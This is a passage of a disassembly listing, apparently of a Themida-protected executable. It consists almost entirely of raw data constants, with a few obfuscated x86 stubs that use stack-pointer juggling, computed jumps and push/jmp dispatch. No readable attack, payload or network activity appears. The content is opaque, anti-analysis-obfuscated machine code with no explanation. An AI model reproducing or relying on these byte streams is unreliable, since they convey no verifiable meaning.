99912BA3h, 6BAF5870h, 0C74AD7C0h, 0E736C56Eh, 85A6AD76h dd 0B0D172C8h, 68D5EA1Ch, 0FF84A59h, 0C96D01A2h, 83E70977h dd 0F43912A0h, 0E4F6BF14h, 12DFA2F8h, 791Fh, 5EFF2000h dd 77158E13h, 0A5DFF13Eh, 41C11153h, 7CFBD8Fh, 7D9B77FEh dd 63A5413Ah, 0AF587027h, 0DE6321Dh, 0B1FC9DA4h, 52FF4E75h dd 6F10F317h, 0D515F622h, 0AF57D6D2h, 0BBF8BDD1h, 9A074EEAh dd 9EFEA71Ch, 68951FE5h, 441EF750h, 2182CE57h, 3AEB480Dh dd 0D1CA571Eh, 0A8E187F8h, 1286120Bh, 12DF1026h, 11C1h dd 0A2519B00h, 4BC3D055h, 0B1249852h, 718CE252h, 59FFFC27h dd 73129310h, 7D668C3Ah, 1F0895D0h, 57D6B3F7h, 0E2E91AFh dd 0E8C1DA47h, 0B71CE340h, 841E7EEh, 10AB09B2h, 0FE3A4CEAh dd 0C4AF57D6h, 1CB05E8Ah, 8F7833D9h, 0E9367F1Eh, 48F278B0h dd 0B600C6F1h, 6A3B78D3h, 9B0482CBh, 0F66CB1F8h, 0C6FA3E48h dd 6FC8B600h, 0C6F93FC9h, 6E45B600h, 5E9FBEC5h, 0F029763Fh dd 8D6BCDE6h, 3F28E589h, 6C2548EBh, 84D11BC7h, 4D48F26Dh dd 0BFDE41D7h, 4DE6A9F6h, 173798E4h, 63C4D55Ah, 7F2088C1h dd 0EB1195DCh, 8B2D6408h, 771F332Fh, 158DA14h, 0E76D0000h dd 0F7D80EB5h, 0BFF69257h, 0DF403972h, 0BCA6F2BFh, 6C70Ah dd 0D92BDB6h, 62B8F194h, 0EC2C5E84h, 0D6B60006h, 0D1743B7Dh dd 6F73355h, 62CDB600h, 0CC375D89h, 6CBDE2A7h, 766A2h dd 0A5F35CB6h, 773E5DC6h, 65CE672Ah, 30763F5Eh, 77E6A884h dd 5B4F14h, 0EB110000h, 40501261h, 7F877FF8h, 0B6006D3Bh dd 788AC768h, 6CB0E812h, 0B992B600h, 0E74368C0h, 0ADDF0BB6h dd 2F57D74Dh, 57971C37h, 2F57D753h, 3E632E50h, 278CC965h dd 0C756DF4Ch, 4C5BC473h, 10AA50EBh, 0AF57D6F8h, 3F2561CAh dd 0D371B0D4h, 2B04159Ah, 0BC039586h, 0A6h, 0EB5E79Fh dd 3751B2D8h, 0B0F8317Eh, 0AD7B6h, 72689B6h, 60C8E14Eh dd 772875DEh, 0E3099DD4h, 0B070345h, 52FDB600h, 733A59C6h dd 0BE72C2Eh, 2953B600h, 42EFA6C6h, 1E5BF869h, 0BB109891h dd 1950F3FAh, 0EC9A3A8Dh, 0C040446h, 55FEB600h, 0C6DADh dd 3FC57B6h, 692BA5E7h, 3E19BCAEh, 0EE8A75F1h, 8FAE71A7h dd 45E82D4Eh, 9D76A70Ch, 0D3F87FA4h, 0D2E15352h, 64B5FAB3h dd 0B32D5F8Bh, 0B5C35CC5h, 0C360254Ah, 1F804EEAh, 0BEEF347Dh dd 2BB92B24h, 635C42BDh, 87BF3927h, 59C7F7FAh, 1F56F556h dd 0B5E79299h, 30AED80Eh, 12B60634h, 82BF439h, 4EE010A0h dd 554E71AFh, 7B8D2BD1h, 0B6067C3Fh, 218E2A05h, 64E64B02h dd 0E99A81F5h, 7F862F9Ch, 8E7195DCh, 2F78A5E0h, 0FDA00389h dd 98B66FB4h, 249150DDh, 718B317Bh, 0E99A8239h, 2788200Bh dd 8A4C504h, 9E4B790Bh, 0DF443DE7h, 0EE51D5CEh, 2899064Fh dd 3, 0FFCBB003h, 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h dd 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h dd 20DF68h, 24348900h, 0C8568h, 241C8900h, 5E8668h, 24048900h dd 6F7FB850h, 0BB5329ACh, 5DDD7441h, 0C15BD821h, 0BB2D08E0h dd 2D22700Bh, 59453ADDh, 0A68435h, 58C38916h, 24048B54h dd 8304C483h, 1C8904ECh, 8408F24h ; --------------------------------------------------------------------------- mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- db 0DEh, 0AAh, 3Fh dd 3EE7BD44h ; --------------------------------------------------------------------------- loc_5AFC48: ; CODE XREF: Themida_:005AF6F4j mov eax, 6AE61B7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F1h, 84h, 6Dh dd 42076B37h, 8DA83251h, 9E872h, 74FE0000h, 0C52E477Fh dd 6613C97Ch, 0B15FD78Bh, 14C78160h, 0F000071h, 118Dh dd 0B800F00h, 0E8000000h, 5, 8B99D673h, 7B859D6h, 81741B41h dd 0E4DB1EC0h, 0FFEC8A8Bh, 0C9816637h, 8B5B5165h, 24C381F2h dd 8B1FCF71h, 0CCC381CBh, 602789E9h, 61F9B70Fh, 0C2DFF381h dd 0BF0F6F59h, 561F89F2h, 5AF1BF0Fh, 6602EF83h, 4FDBB9BAh dd 0EA81664Fh, 0E881B7CFh, 1, 0FFB9850Fh, 0B966FFFFh, 5E80992h dd 52000000h, 0B14A3D03h, 5BC18B66h, 0CE9h, 0D2BC7000h dd 0E794D2B5h, 5B5E47EFh, 0D7C3810Fh, 0E9000062h, 0Bh dd 4E1FA8FAh, 38E119h, 6818EE0Ah, 1882h, 0DD92BE66h, 0FE95Ah dd 0C9460000h, 16B46FF5h, 0D6FAACEEh, 0B0C84952h, 0F50B8B9Eh dd 3D9BF181h, 0BA607325h, 71333E6Eh, 2AE6BA50h, 615B316Dh dd 3D17E981h, 0EF81610Eh, 3F630C5Ah, 0D2CCC181h, 0BE6675E8h dd 0E951F813h, 0Fh, 388FB541h, 51E1502Eh, 45AABCA8h, 8F1016CEh dd 8C0F03h, 83000000h, 7E904EBh, 0B2000000h, 8ACA3677h dd 0F4A9D7Fh, 0D85h, 0C2B70F00h, 1DE9h, 833A0100h, 0F6811FDAh dd 313E5181h, 0FFFF88E9h, 9AB686FFh, 2407F47Dh, 4D0AA971h dd 8D8DF592h, 6AE64D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0B7C35646h, 662F2F7h, 0E999C23Ah, 7 dd 91CE8630h, 89C393E0h, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B194D460h dd 4D6EB782h, 14E942AEh, 0E6000000h, 2F28BCC6h, 0A07C26C8h dd 2B5C64ACh, 9FDFB996h, 0C755BE4Ch, 0A8146985h, 65FC06h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 9E815A0Ah, 85235084h, 6A81E75h, 97CA815Bh dd 0C70792DAh, 0A80BBD85h, 6, 6E900h, 0FC3B0000h, 13D8BCD6h dd 0D41B5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0EADA84C3h, 0F3A784Ah, 95FFFABFh dd 6A820DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 6AC35646h, 8D8ED297h, 6AF9BF0Fh, 3195FF00h, 8B06A81Bh dd 1E7CEBC0h, 59D63327h, 0D4253CB2h, 8347DA9Bh, 6021BA51h dd 673366B0h, 0F319E057h, 362714Fh, 8C18098Dh, 0B6DE4A48h dd 0F10F7B22h, 9C878EECh, 0E1FC5C07h, 0B63BF345h, 6C15FA05h dd 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch, 26CC7D62h dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh dd 4750FBFh, 8DA7B398h, 0AE661E8Dh, 0B98D8906h, 0E806A805h dd 14h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh dd 1DB1BD29h, 0C75806A8h, 0A8146985h, 6E1406h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0C737EF17h, 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C59896B8h dd 0A3B11726h, 0B70FFCA4h, 61B5FFF1h, 6A06A815h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0C015C357h, 0B47EF2BBh, 1BD018Dh, 0FF06A811h, 0A820DD95h dd 5800F06h, 66000000h, 7A58CB81h, 95FF006Ah, 6A81B31h dd 0BEBC08Bh, 9CE86986h, 284FB496h, 0E903A9C8h, 4Ch, 4865EDBDh dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch dd 8003B2BDh, 0FEB9h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5B0713 ; --------------------------------------------------------------------------- push 6AE67B9h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE687Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE690Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE69D6h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE6AA8h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE6B83h jmp loc_5517CE ; --------------------------------------------------------------------------- db 3Fh, 18h, 51h dd 80C56AD5h, 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h dd 0DE41C588h, 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 3D3A7E88h dd 0C208B606h, 29DF65h, 0FFFA0000h, 1788155Ch, 1FE93D74h dd 0AF57D717h, 0D48E6C9h, 0A16004ABh, 0BC65CA83h, 3FCD59Ch dd 471F5987h, 0FE3E37CBh, 0E7505BDDh, 0AED80EB5h, 0B60005A3h dd 0E169B661h, 0B60004A5h, 0C9C96AC1h, 1477F8DDh, 22E38h dd 27010300h, 0C9FD46F6h, 0FFED4CBFh, 0E91D36B5h, 84296406h dd 0EC31781Bh, 0CE56C2BBh, 0D198BB24h, 0BDD5B4Ch, 7A2E94FCh dd 0A61DBFh, 78B0F99Fh, 0C38948F2h, 0D07B80D6h, 0D16ACA53h dd 2D049335h, 0F9DA8782h, 76981055h, 658329DDh, 822CE723h dd 4872DD87h, 87822D50h, 559F1932h, 3D4FCB6Ah, 87822CFDh dd 57736CC7h, 1986CB6Ch, 8122A800h, 577DABE2h, 5921A8D3h dd 48CE95Ah, 23460000h, 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh dd 6506A9FDh, 64159228h, 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh dd 0D1551C3Fh, 35759755h, 0FB6063Eh, 5CFF62C9h, 0DCB5F09Dh dd 0DD66D657h, 3F658329h, 57D78D8Dh, 32DC77AFh, 0AF57D6F6h dd 0D75A5EE8h, 0F28AF57h, 2C454FFh, 0B600016Bh, 0C1531F59h dd 321EA303h, 0C49CCD59h, 0C089AB14h, 0C67DDF68h, 0E573E620h dd 0E651BCA8h, 28609AC0h, 1ABCA8E5h, 893FE731h, 55469F28h dd 60023163h, 0BE97802Dh, 0CCF3FE08h, 66D15BEEh, 67DC7039h dd 366E3943h, 3654629Ah, 26E0ADCDh, 629A35E2h, 689E77A0h dd 19ADE487h, 2ADE97B6h, 4690CA84h, 0CBDEA704h, 85000003h dd 0B41FABE2h, 0E34CDA9Fh, 15BE0C45h, 45EE3C79h, 56DD6924h dd 34EEF23h, 377A1C87h, 652C50F3h, 96DF7E21h, 34569410h dd 0B6063EF4h, 0FFA388CEh, 0F88155Ch, 4AF016ADh, 2380C569h dd 0E158AE0Ah, 0A3B60008h, 2B893288h, 0F4397018h, 0EA1CCAA3h dd 0BCAE6EE9h, 8DD891DBh, 392B9A86h, 8B86CBA1h, 0D5CEB12Fh dd 0A288B31h, 2746E94Fh, 0D477D86Eh, 2597109Dh, 0D7DE689Eh dd 89C3564Ah, 6A3FEC4Fh, 74A4BF15h, 14761CAh, 8FE5D4D2h dd 338532Ch, 57F20000h, 0A27881Eh, 3058FB4Fh, 0EC822D79h dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h, 5CEAA3C1h dd 8D1950F3h, 81B9C319h, 43B60640h, 5CFF1E05h, 14533AF4h dd 5899B6F2h, 2BA38CAFh, 58C9102Ah, 1C817A37h, 6482399Bh dd 0FFF26722h, 0B4F25DB5h, 8DC8654Eh, 1AAA42Bh, 1870000h dd 1349EB2Ch, 937AF3FCh, 61A8220Bh, 7CBB1177h, 345615Ah dd 0B60086D8h, 4F06258Eh, 0A16FC9E2h, 0F0F41276h, 0ABAB3D7Dh dd 0F214B209h, 0B1E58D47h, 0C8D123Dh, 0B1F89BA8h, 0D9822D8h dd 0F7B890F7h, 0B1FEB3D4h, 785B8F78h, 0D11B9DD4h, 6F2A48ABh dd 0E04FE9C2h, 48B6F4BDh, 2D8BC667h, 7EAAE382h, 0F09A0934h dd 6FC6BF7Ch, 29000002h, 60C3470Eh, 8F307633h, 0B91AA0E9h dd 0E94AD095h, 3A810548h, 0B7FA9B77h, 0E3AED073h, 1158FCA7h dd 420B2A95h, 40FA60C4h, 0B6064048h, 0FF57FC3Ah, 5288155Ch dd 1E9AD371h, 6A902B89h, 2464A6CCh, 1EAF57D7h, 0FBBED435h dd 1D4ABBDh, 85AEB600h, 0D48C6001h, 0BACC48EBh, 0B600027Eh dd 0ADF2EB44h, 0C96B3C7Ch, 0C7325472h, 99BCA817h, 0D4591436h dd 3A672A4Bh, 94FE08E1h, 0A9A7C246h, 3E5CE236h, 0A8448C8Ch dd 0E4DD76BCh, 2D294284h, 32624B8Ah, 0D2725D89h, 0B5D71D9Bh dd 52323D06h, 4DCE53FCh, 8B654EFh, 6DCB86A7h, 0DDA70C9Bh dd 0A95DF658h, 0B4FDA003h, 6AA43E6Fh, 22FEE896h, 0F1941B9Dh dd 0A2C162B8h, 366F3DEBh, 0F231504Dh, 19D11h, 79305700h dd 0A8ED822Dh, 0DE97B112h, 0E4BE748h, 3B7617B8h, 0C15160EFh dd 0F659EDA0h, 228D1954h, 54FF4B02h, 0BA227831h, 412266A0h dd 0DAE0B606h, 155CFF7Dh, 16AD0F88h, 8B004AF0h, 65A5E75Fh dd 5FAF588Eh, 48ADFAF4h, 9F1AEC4Ch, 41B600D6h, 59F93C5Eh dd 0A59E8F14h, 47892F78h, 244C064h, 0B600D606h, 357A53FCh dd 90BF0BE4h, 0E586B5E7h, 5E377220h, 48074165h, 1EB6063Dh dd 3D5256F0h, 730B606h, 26C46F91h, 53D79EBDh, 64294AB5h dd 0E54AEE3Fh, 91DB0F46h, 0A35C251Eh, 5E6328Fh, 7FAB1084h dd 0B4C400CDh, 0BD69C2BCh, 2C7A3352h, 4A9E083h, 77609CDEh dd 0F2EB631Eh, 276B2D4h, 0E34CBCB4h, 0F942F2B5h, 1CB0BBCDh dd 0B992C35Ch, 0CEE3370Fh, 0E95A59E5h, 0C2h, 1694DD7Ch dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h, 641F733h dd 0A08FCDB6h, 723B59BAh, 88336126h, 3D1F2852h, 0DEC1B606h dd 9BA5F3BAh, 93B273B0h, 50F13C52h, 0AE87901Dh, 9BB72801h dd 6F5851DEh, 7DD578DBh, 8EDC459Eh, 96342D0Eh, 0DEDADE68h dd 8FA8B605h, 56B0BA29h, 7F04D160h, 7F1E258Eh, 2C4FF036h dd 0E11B4165h, 4D15FA9h, 8B78B09Bh, 0EC31741Ah, 0D8DF406Dh dd 142B1DB5h, 8B96EC2Bh, 88AB1492h, 58865CC1h, 0D155EA2Eh dd 397FD804h, 1556h, 1CBA7100h, 57D6AEEAh, 0FBB94AFh, 57D6BDFDh dd 0CAC87AFh, 58FF77ECh, 70138C11h, 92BF439h, 2042E340h dd 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh dd 83FA4AD7h, 2C8904ECh, 81E58924h, 4C5h, 4ED8300h, 5C242C87h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68243C89h, 6AAh dd 50240489h, 7D2DBD55h, 0CD8173AEh, 6F2359EFh, 17EEC581h dd 0E5C17FB1h, 8CF58104h, 4D578C3Dh, 0F99BED81h, 0E8899AD6h dd 58C7895Dh, 24048B54h, 5204C483h, 8BAh, 89C20100h, 24148B3Ah dd 4C481h, 48B0000h, 0E2895224h, 4C281h, 0C2810000h, 4 dd 5C241487h, 5F2434FFh, 0E904C483h, 0FFFA10C2h, 4D9AA630h db 22h, 0E0h, 7Ah ; --------------------------------------------------------------------------- loc_5B0713: ; CODE XREF: Themida_:005B008Cj mov eax, 6AE6C6Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 54BBBF4Fh, 7EFF3DFBh, 0CB9A2E8h, 62DCDF2Eh, 52FE8380h dd 597E0AB3h, 3C72DDAFh, 44513CDAh, 169124A3h, 2C5D0547h dd 1B7EDC72h, 3B662C63h, 119B8406h, 54021299h, 59CDFF9Bh dd 0B6D4369h, 2013FEBh, 42B78298h, 50520100h, 520493AAh dd 9E9h, 9165B600h, 7Ah, 88E90000h, 8D000005h, 0BC67A3EAh dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch, 1B56F71Bh dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h, 0B60643ECh dd 896A90D6h, 2C7DA2EBh, 5CFFA78Ch, 76178815h, 2144EF3Bh dd 3B5ACB68h, 0DF742D72h, 0CDBE159Ah, 0BA3E5D64h, 57D70800h dd 7851FAAFh, 22E38122h, 4743850Dh, 3DAF57D7h, 0A3F43912h dd 0B1D37CCAh, 1D82CF70h, 0CF7130Ch, 0ADFE2366h, 0D6CBCF79h dd 9EB9AF57h, 56F8A91Ah, 7A53961Bh, 0DB92B2B9h, 841E44Fh dd 0D764A3ABh, 0C1D6AF57h, 0D6665260h, 5F8112DFh, 5B000000h dd 0E38F8B3Dh, 0DA75AF57h, 5CFF555Eh, 484E8815h, 0B2AF57D7h dd 82C76B54h, 37AC0C1Dh, 0D6706C6Eh, 19712DFh, 0A8000000h dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 63895536h, 57D6E1D9h dd 2088A3AFh, 0A97D27Fh, 0AB0F599h, 5CC184A9h, 977EED4Bh dd 0D9767D26h, 463F7214h, 753C5FC0h, 1CBA0A31h, 57D6AEEAh dd 0F95A94AFh, 4CC4799Bh, 713E7A53h, 0F23650D0h, 0D0AF58A0h dd 2B620667h, 62B9432h, 6BCDDE43h, 0AE0A27F8h, 3453EC23h dd 662B4B20h, 1EF7E039h, 21681091h, 4F0223FCh, 199A73E2h dd 0F4397C12h, 0EE47CAA3h, 0D81D3E45h, 8501FAB7h, 0ED327B1Ah dd 2FEE8E71h, 0CEDF440Dh, 0D95F48D5h, 367B3256h, 3A38F952h dd 12DF22BEh, 92D9h, 5EFF6200h, 7DDFFDF2h, 2C9974D9h, 4333CBE9h dd 0ADED1F2Dh, 97AF58BFh, 45EAC3BCh, 0A8F5BCDCh, 0C8CF50C5h dd 0BA3CEAA7h, 1DE7A877h, 0FC0EBCB0h, 0AF583CBCh, 810BAD86h dd 0F3307D1Eh, 0D4591C32h, 3D62274Bh, 2489C064h, 0E170316Eh dd 0A753A5BFh, 0D590BE50h, 0EF875F48h, 59748EEAh, 0CBF192Ah dd 0C061DA5Eh, 0DFDE36B2h, 5F5112h, 0BAEA0000h, 2E733A59h dd 53F4BBFDh, 6C10911Eh, 0E3C8F825h, 0B6D07E42h, 0AF57D772h dd 0EEB1E750h, 0AAE7884Dh, 0FF4E75B1h, 5FF9DA52h, 0D6ACEC16h dd 8B2AF57h, 0AF57D710h, 0AE8959F2h, 0A7EE68B5h, 15AF57D6h dd 19531D86h, 0E5348846h, 6C8953Fh, 0E5A49F57h, 4531E533h dd 0A012DFE7h, 1, 3B59BA7Bh, 0F6325472h, 0CCAF57D6h, 0CE6A3563h dd 0EA891A87h, 0AAF507A3h, 0B6A8A89Ch, 0FF02E137h, 2BDA55A7h dd 0C9C42A98h, 242BF46Fh, 8D36AC04h, 3865204Dh, 402817EFh dd 0CF541D3Fh, 0EF84E5DEh, 3B1405AAh, 43F85CEFh, 0B9C665A7h dd 5EBCB600h, 0B9EC2Ch, 847DD6B6h, 0AEE7861Fh, 3C94B718h dd 51B487C6h, 0D3F7E0EDh, 9FC7C399h, 262D6Dh, 0A23C17B6h dd 0FE08D669h, 3B15E465h, 0ED5EDA30h, 0BD2B6Dh, 931C97B6h dd 2119A3C9h, 0E3B600BDh, 30689248h, 12B600BDh, 0D30FF39h dd 3E5DC644h, 0DA792A77h, 0F9950E93h, 51EB77BCh, 0B600BD59h dd 0F99F002Bh, 96B273B0h, 0B65952DFh, 37E4941Dh, 1736279Ah dd 0C865ECC5h, 743D6067h, 658EC836h, 6BE41550h, 85712573h dd 6014777Dh, 128h, 0EB5E7BBh, 0F214B2D8h, 0AF57D6B6h dd 0F375A38Ch, 0B6000670h, 0EBB4F952h, 1A850148h, 4D4DFF7Bh dd 37B60006h, 25FE231Ch, 5FE24F06h, 7262DF6h, 605CF84Eh dd 0AF1477F9h, 64A62E44h, 0B6001224h, 0D75C351Eh, 4CA052C6h dd 7B000000h, 3E8630BAh, 19E87AF4h, 1CA7089Fh, 53C5CEEh dd 0A5062F58h, 48D5CE87h, 58058A8Eh, 0E970C2Fh, 0AB780842h dd 141E85E6h, 9F920384h, 2CDAB3FEh, 58CF7E9Ah, 0BD2644AFh dd 5E4FD491h, 58CF74B4h, 0CE54EAFh, 9235BEh, 0E7100000h dd 3B8FEFB5h, 8CB6EDCFh, 8FC97793h, 0A49CAEDEh, 8F8B33CCh dd 75AF5821h, 72945EDAh, 0B600549Bh, 68254669h, 6BAD33CBh dd 0DB2C3CADh, 0FBA409E2h, 6EAADC58h, 54B600C1h, 0A099D073h dd 0ADD073B7h, 5A3BFE4h, 0C0C7C3h, 692BDB6h, 0C1C3C0h dd 0FBA40FB6h, 821851F4h, 0FA209B39h, 0EC317419h, 55F77DBBh dd 0BCAF2FB5h, 0A67FA48Fh, 9E61CE87h, 0DF7D6C35h, 64044664h dd 7AC35D9Dh, 9D6EAADCh, 0FB54C35Dh, 0E1650E3h, 0EE4A40ABh dd 94B3F720h, 0E786B5E7h, 0EB11B5AEh, 0E32B6608h, 0AF57D7A7h dd 0FC66B29Dh, 0F27A0456h, 23BBF291h, 5ADEA33Fh, 6B7EC8Ch dd 497DD6B6h, 0EA8B6C0Fh, 8130B642h, 0FE74F109h, 1D8E2A03h dd 7E20E184h, 0C4BDEE33h, 0F7BEDD46h, 3E4999D3h, 0AFA7E325h dd 0B29DB606h, 41D5B238h, 93F274D7h, 2232452Eh, 42E1E849h dd 7114BF0Bh, 0C16FFB38h, 452E8387h, 42D64132h, 0AFF4B1DDh dd 9BA203A8h, 0CA75B1F8h, 0C4BDE2ABh, 3, 0FFCBB0E7h, 138C1158h dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 8704E883h dd 248B2404h, 0E0895024h, 405h, 42D00h, 4870000h, 3C895C24h dd 781D6824h, 4890000h, 4EC8324h, 0B8240489h, 6AE6D72h dd 6858C789h, 595Fh, 81242489h, 42404h, 57580000h, 3C243481h dd 8F1FA375h, 0BB530840h, 8, 3381C301h, 1FA3753Ch, 24048B5Bh dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h dd 0D3E904C4h, 37FFFA0Ah, 687332FCh, 5FE02D27h, 0B8D61BEEh dd 6AE7267h, 0E0FFC503h, 5BAC48B3h, 1F38D7A5h, 134DDBD3h dd 48487CAEh, 26996BE8h, 9A59A6Bh, 49D9811Bh, 0A5557FDh dd 4A7E4D5Dh, 3D587141h, 44FBCA96h, 2B1D3C07h, 49028866h dd 666E03A8h, 1D98CAFBh, 39112963h, 71D15BD9h, 70C8D3F7h dd 76496AD4h, 10E9182Dh, 2F503F9Fh, 0DE8h, 0D623D100h dd 0E8760D89h, 10ECD303h, 870FCA54h, 2, 5358EB8Ah, 5B5E5051h dd 2CC0815Bh, 0BA000063h, 2E871410h, 493C281h, 0BE66D179h dd 388BBE31h, 0D1B70F60h, 5E9h, 8BFEC500h, 81610F5Dh, 37E9F7EFh dd 7A6BB97Dh, 0F78111BFh, 21F2EC52h, 60EF81FCh, 523E5E8Fh dd 0F5BFCB9h, 66575E16h, 8FCB8Bh, 4E883FCh, 0EA81CA8Bh dd 1, 18850Fh, 26E90000h, 97000000h, 0CB4D0D96h, 7ABDE963h dd 8214B1AEh, 6D567C7Ch, 81664172h, 0E9E357C9h, 0FFFFFF96h dd 51ACDBAEh, 0A0298CDh, 2DE9E8h, 0AED20000h, 1C74h, 9 dup(0) dd 0E9000000h, 4A5h, 0AE754A68h, 980E906h, 0B868FFFAh dd 0E906AE75h, 0FFFA0976h, 0AE76F768h, 96CE906h, 8FAAFFFAh dd 0B2DF40C6h, 6810B3F7h, 143AE521h, 0C96AD551h, 0F8B90684h dd 0F634791Ah, 0DA602D4Dh, 1492DB79h, 45C188ABh, 0C9C17BE1h dd 0BBB6064Ah, 5EFFD67Dh, 76158E13h, 6ADB96B7h, 0C1D82CBh dd 80349713h, 0E1DA9FB3h, 2D6D9FC5h, 17AF57D7h, 54D990B4h dd 54F96A43h, 2B5D8711h, 0B5FFE184h, 0AAEE187Eh, 98B5FFE0h dd 9159C6BFh, 0B5FFE195h, 0A6C82B31h, 86B8D80Ah, 534C29ADh dd 0C76CDDCEh, 0F4BD1682h, 773B0AE6h, 2A3ED14h, 1360000h dd 0F843F122h, 0ED51B8C2h, 1833B5FFh, 539766A0h, 0A014B365h dd 3741EF1Bh, 0BDC0DD92h, 0ADC5CA4h, 0BA0D7B03h, 1DC956C1h dd 0F3A783DBh, 5CDC6F3Dh, 34D269CBh, 0B5B95592h, 56E52FC0h dd 521004BEh, 0EA10B6AFh, 9AFE3A4Ch, 8AC4C0B5h, 0D416DE68h dd 2E8A63D0h, 1FABE281h, 20D891B4h, 0E875F0D5h, 0EB1BE4C7h dd 0B5000002h, 0E44FDB92h, 13BC0A4Fh, 45EE3C75h, 75DE6C29h dd 860D99D4h, 337E1FF3h, 672A4CF7h, 95DC8023h, 0C68FAE11h dd 0C406E440h, 0B6064BC4h, 0E7D378BEh, 0F7D80EB5h, 0B8F19356h dd 658369CFh, 895D87Ah, 504F991Fh, 32B6064Bh, 6102ED19h dd 8F709E2Ch, 2C7DA2EFh, 4F02238Ch, 4B1B18E2h, 0E588B606h dd 0C2937CACh, 1E9DF324h, 27DA5h, 69204700h, 98DD72DDh dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h dd 12BD0944h, 44EF3B72h, 4AD26821h, 4C327690h, 0CA10B606h dd 0EB5E76Dh, 4B6FAED8h, 7255B606h, 7AA099DCh, 66B2FB99h dd 0D7765985h, 0C8CC1A9Eh, 0DBB6064Ah, 0F4ADF2B7h, 549B1851h dd 0F927B67Fh, 95819112h, 701471A6h, 165h, 9D5CFFCBh, 54D9B2FBh dd 0C5E1A8CBh, 0A8F5B8DAh, 0E853397Fh, 0B1CBFF44h, 0B5FFF64Eh dd 54961B34h, 0B5FFF650h, 1C1E876Ch, 1477CD20h, 4AC7h dd 0B5E75800h, 5AF7D80Eh, 3553991Fh, 0D67BA8A3h, 0E2182E79h dd 58BF6058h, 0AF0922AFh, 0ED4659h, 8E133CB6h, 0ED484Ch dd 268F64B6h, 93DA795Ah, 72B6D00Eh, 50B600EDh, 0FE9D0EE7h dd 0E7316AB7h, 76C04733h, 0ABA614h, 0FF790000h, 6AAED85Ch dd 58AF57D7h, 96E006FFh, 2FDA2A9Ch, 0F96ACE97h, 0E54A0728h dd 0D350193Ch, 2C7A3352h, 585AB8DAh, 2745AEAFh, 40E8C16Eh dd 0B1F5BCDFh, 0E91DA616h, 2FA705Fh, 0CDF952B6h, 0FA2565A7h dd 0DE7EB602h, 0BCFC5797h, 612C4DB6h, 94D97A25h, 28138574h dd 532C8FF3h, 13Eh, 92286108h, 0CD591C31h, 3B8FC662h, 6BBFFA98h dd 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h, 5EFDA6E4h dd 0D10B9317h, 64D73B7h, 2C0B51B6h, 97135EFFh, 0AFE68669h dd 0CC81A102h, 0BBDA45D3h, 204EB4F2h, 57D7A2E6h, 61B760AFh dd 155CFF3Ah, 3D741788h, 4F844F89h, 59E3BAF2h, 62D275DFh dd 4A9B2DD9h, 38B6005Ah, 6708EB1Fh, 2A6A9C2Ah, 79B6005Ah dd 0AC1793DAh, 8D59C68Bh, 0E74C0122h, 0B79D62B6h, 79000000h dd 7DBBF296h, 3859BA36h, 3B7E1475h, 0B473A5F6h, 0FD0FBB00h dd 0B6064ABEh, 4F022384h, 3558C956h, 0DFC02E7Ch, 0FCA3F5BCh dd 6002F159h, 28288970h, 5368F23Fh, 50D0E19Bh, 68396623h dd 6B278CC5h, 0C96C733Ch, 97049780h, 0E064070Eh, 0E19B62A6h dd 2E1620D0h, 0B3A62C69h, 47635C35h, 9840DA35h, 79BF5A20h dd 440D3093h, 6D2846DFh, 733E5FC0h, 17D6752Eh, 0DD423B76h dd 0D05FC0ABh, 